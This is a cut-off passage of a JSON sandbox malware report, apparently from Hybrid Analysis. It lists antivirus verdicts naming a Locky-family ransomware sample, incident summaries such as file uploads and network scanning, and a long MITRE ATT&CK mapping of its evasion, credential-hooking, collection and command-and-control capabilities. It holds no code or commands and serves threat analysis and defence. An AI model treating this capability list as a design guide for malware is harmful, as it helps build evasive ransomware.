)","verdict":"malicious"},"lionic":{"data_source":"MetaDefender","name":"Lionic","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.Win32.Malware","verdict":"malicious"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sentinelone":{"data_source":"MetaDefender","name":"SentinelOne","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Suspicious","verdict":"malicious"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Troj/Crypt-H","verdict":"malicious"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan/W32.Agentb.162816.B","verdict":"malicious"},"trellix":{"data_source":"MetaDefender","name":"Trellix","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Ransomware-FET!B66EB4BCB286","verdict":"malicious"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"W32/Locky.G.gen!Eldorado","verdict":"malicious"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.Win32.CryptoLocky.Y","verdict":"malicious"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"xcitium":{"data_source":"MetaDefender","name":"Xcitium","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"TrojWare.Win32.Ransom.Locky.DN","verdict":"malicious"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"Trojan.CryptGen.Win32.3","verdict":"malicious"}}},"incidents":[{"details":[{"detail":"POSTs files to a webserver"}],"details_count":1,"name":"Spyware/Leak","sources":[{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"}]},{"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"details_count":1,"name":"Network","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}]},{"details":[{"detail":"Detected a large number of ARP broadcast requests (network device lookup)"}],"details_count":1,"name":"Spreading","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 8 domains and 8 hosts"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"details":[{"detail":"Hooks internet related APIs"}],"details_count":1,"name":"Remote Access","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"details":[{"detail":"Installs hooks/patches the running process"}],"details_count":1,"name":"Persistence","sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Reads the active computer name"}],"details_count":4,"name":"Fingerprint","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"5748a0e3aac2ed6f5b5ac99a","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]},{"details":[{"detail":"POSTs files to a webserver"}],"details_count":1,"name":"Spyware","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection"},{"attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"},{"type":"suspicious","value":"section contains high entropy"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Embedded Payloads"},{"attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect sandbox (mouse cursor movement)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion"},{"attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Persistence","technique":"Boot or Logon Autostart Execution"},{"attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls APIs used for Remove Service"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Impact","technique":"Service Stop"},{"attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Execution","technique":"Inter-Process Communication"},{"attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal from Tools"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hidden Window"},{"attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"suspicious","value":"Hooks API calls"},{"type":"malicious","value":"Hooks internet related APIs"}],"sources":[{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Credential API Hooking"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"informative","value":"Imports GetEnvironmentVariable API"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve state data for the computer (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Persistence","technique":"DLL Side-Loading"},{"attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Contains ability to enumerate processes (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"},{"attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Debugger Evasion"},{"attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Detected a large number of ARP broadcast requests (network device lookup)"},{"type":"informative","value":"Contains ability retrieve IPv4 mapping information (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Configuration Discovery"},{"attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Time Based Evasion"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Time Discovery"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Contains ability to take screen capture of the target machine (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Collection","technique":"Screen Capture"},{"attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Lateral Tool Transfer"},{"attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"ListPlanting"},{"attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Dynamic API Resolution"},{"attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to enable or disable privileges in the specified access token (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Access Token Manipulation"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Modify Registry"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"},{"attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Remote Desktop Protocol"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"Remote System Discovery"},{"attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Email Collection"},{"attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Discovery","technique":"Network Share Discovery"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls APIs used for find file/directory path"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"suspicious","value":"Touches files in program files directory"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve user-agents (API string)"},{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve User-Agent"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Opens registry keys"},{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Reads the active computer name"}],"sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"},{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Create Process with Token"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve open application windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hide Artifacts"},{"attack_id":"T1046","attack_id_wiki":"https://attack.mitre.org/techniques/T1046","sources":[{"report_id":"5f8dd1107f50f85b2109e2f6","report_type":"sandbox"}],"tactic":"Discovery","technique":"Network Service Scanning"},{"attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Proxy"},{"attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_id":"67b13541f76571b71e0619c2","report_type":"sandbox"},{"report_id":"66f2771f14e17b26d1025a94","report_type":"sandbox"},{"report_id":"63b48cabcc95c60864338954","report_type":"sandbox"}],"tactic":"Persistence","technique":"Create or 